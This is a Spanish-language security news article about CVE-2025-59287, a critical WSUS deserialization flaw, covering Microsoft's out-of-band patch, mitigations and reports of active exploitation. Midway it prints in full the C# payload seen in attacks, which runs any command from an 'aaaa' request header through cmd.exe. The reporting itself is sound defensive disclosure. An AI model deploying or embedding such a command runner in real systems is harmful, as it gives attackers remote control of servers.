Microsoft publicó el jueves una actualización de seguridad *fuera de ciclo* para corregir una vulnerabilidad crítica en Windows Server Update Services (WSUS), la cual cuenta con un *exploit* de prueba de concepto (PoC) disponible públicamente y que ya está siendo aprovechada activamente.

La falla, identificada como CVE-2025-59287 (con una puntuación CVSS de 9.8), es una vulnerabilidad de ejecución remota de código en WSUS. Este problema ya había sido abordado parcialmente por la compañía durante el *Patch Tuesday* de la semana anterior.

Microsoft reconoció a los investigadores de seguridad MEOW, f7d8c52bec79e42795cf15888b85cbad, y Markus Wulftange de CODE WHITE GmbH por descubrir y reportar el fallo.

El problema radica en un caso de deserialización de datos no confiables dentro de WSUS, que permite a un atacante sin privilegios ejecutar código de manera remota a través de la red. Cabe destacar que la vulnerabilidad no afecta a los servidores Windows que no tengan habilitado el rol de servidor WSUS.

En un escenario hipotético, un atacante remoto y no autenticado podría enviar un evento manipulado que desencadene una deserialización insegura de objetos en un *mecanismo de serialización heredado*, lo que resultaría en ejecución de código remoto.

Según el investigador de seguridad de HawkTrace, Batuhan Er, el problema *"proviene de la deserialización insegura de objetos AuthorizationCookie enviados al endpoint GetCookie(), donde los datos cifrados de la cookie se descifran mediante AES-128-CBC y posteriormente se deserializan a través de BinaryFormatter sin una validación de tipos adecuada, permitiendo ejecución de código con privilegios SYSTEM."*

Es importante recordar que Microsoft ya había advertido a los desarrolladores sobre dejar de usar *BinaryFormatter* para procesos de deserialización, debido a que *"no es seguro cuando se aplica a datos no confiables."* De hecho, su implementación fue eliminada de .NET 9 en agosto de 2024.

```
using System;
using System.Diagnostics;
using System.Web;

internal class E
{
  public E()
  {
    HttpContext current = HttpContext.Current;
    current.Server.ClearError();
    current.Response.Clear();
    try
    {
      string str = current.Server.MapPath("~/") + "/";
      Process process = new Process();
      process.StartInfo.FileName = "cmd.exe";
      string header = current.Request.Headers["aaaa"];
      process.StartInfo.Arguments = "/c " + header;
      process.StartInfo.RedirectStandardOutput = true;
      process.StartInfo.RedirectStandardError = true;
      process.StartInfo.WorkingDirectory = str;
      process.StartInfo.UseShellExecute = false;
      process.Start();
      string end = process.StandardOutput.ReadToEnd();
      current.Response.Write(end);
    }
    catch (Exception ex) {}
    current.Response.Write("test");
    current.Response.Flush();
    current.Response.End();
  }
}
```

"Para abordar de forma completa el CVE-2025-59287, Microsoft ha lanzado una actualización de seguridad fuera de ciclo para las siguientes versiones compatibles de Windows Server: 2012, 2012 R2, 2016, 2019, 2022, 2022 Edición 23H2 (instalación Server Core) y 2025," indicó la empresa en un comunicado.

Después de instalar el parche, se recomienda reiniciar el sistema para aplicar los cambios. Si no es posible implementar la actualización de inmediato, Microsoft sugiere las siguientes medidas de mitigación:

- Deshabilitar el rol de servidor WSUS (si está habilitado).
- Bloquear el tráfico entrante en los puertos 8530 y 8531 en el cortafuegos del host.

"No revierta ninguna de estas soluciones hasta después de instalar la actualización," advirtió la compañía.

El Centro Nacional de Ciberseguridad de los Países Bajos (NCSC-NL) informó que fue notificado por un *socio de confianza* sobre la explotación activa del CVE-2025-59287 el 24 de octubre de 2025.

La empresa Eye Security, que alertó al NCSC-NL, indicó que detectó por primera vez la vulnerabilidad siendo explotada a las 06:55 a.m. UTC, mediante un payload codificado en Base64 dirigido a un cliente no identificado. Dicho payload, un ejecutable en .NET, *"toma el valor del encabezado de solicitud 'aaaa' y lo ejecuta directamente usando cmd.exe."*

"Este es el payload que se envía a los servidores; utiliza el encabezado de solicitud 'aaaa' como fuente para el comando que debe ejecutarse," explicó Piet Kerkhofs, CTO de Eye Security, a *The Hacker News. "Esto evita que los comandos aparezcan directamente en los registros."*

Consultado sobre si el abuso pudo haber ocurrido antes, Kerkhofs señaló que *"el PoC de HawkTrace se publicó hace dos días y puede usar un payload estándar de ysoserial .NET, por lo que sí, los elementos necesarios para la explotación ya estaban disponibles."*

La firma de ciberseguridad Huntress también informó haber detectado actores maliciosos apuntando a instancias de WSUS expuestas públicamente en los puertos predeterminados 8530/TCP y 8531/TCP desde el 23 de octubre de 2025, 23:34 UTC. Sin embargo, añadió que la explotación de CVE-2025-59287 probablemente sea limitada, ya que WSUS rara vez expone esos puertos al exterior.

"Los atacantes aprovecharon endpoints WSUS expuestos para enviar solicitudes especialmente diseñadas (múltiples llamadas POST a los servicios web de WSUS) que activaban una deserialización RCE contra el servicio de actualizaciones," señalaron los investigadores.

La actividad maliciosa resultó en que el proceso de trabajo de WSUS lanzara instancias de *cmd.exe* y PowerShell, ejecutando un payload en PowerShell codificado en Base64 que buscaba recopilar información de red y usuarios, y enviarla a una URL controlada por los atacantes en webhook[.]site.

Consultado por el medio, un portavoz de Microsoft comentó que *"republicamos este CVE tras identificar que la actualización inicial no mitigaba completamente el problema. Los clientes que han instalado las últimas actualizaciones ya están protegidos."*

La compañía reiteró que la vulnerabilidad no afecta a servidores sin el rol WSUS habilitado, y recomendó a los clientes seguir las instrucciones detalladas en la página del CVE.

Dada la existencia de un *exploit* público y la evidencia de actividad maliciosa, es fundamental aplicar el parche cuanto antes. La Agencia de Ciberseguridad e Infraestructura de EE. UU. (CISA) también añadió la falla a su catálogo de Vulnerabilidades Conocidas Explotadas (KEV), ordenando a las agencias federales remediarla antes del 14 de noviembre de 2025.

(La historia fue actualizada tras su publicación con información adicional de Eye Security, Huntress y una declaración de Microsoft.)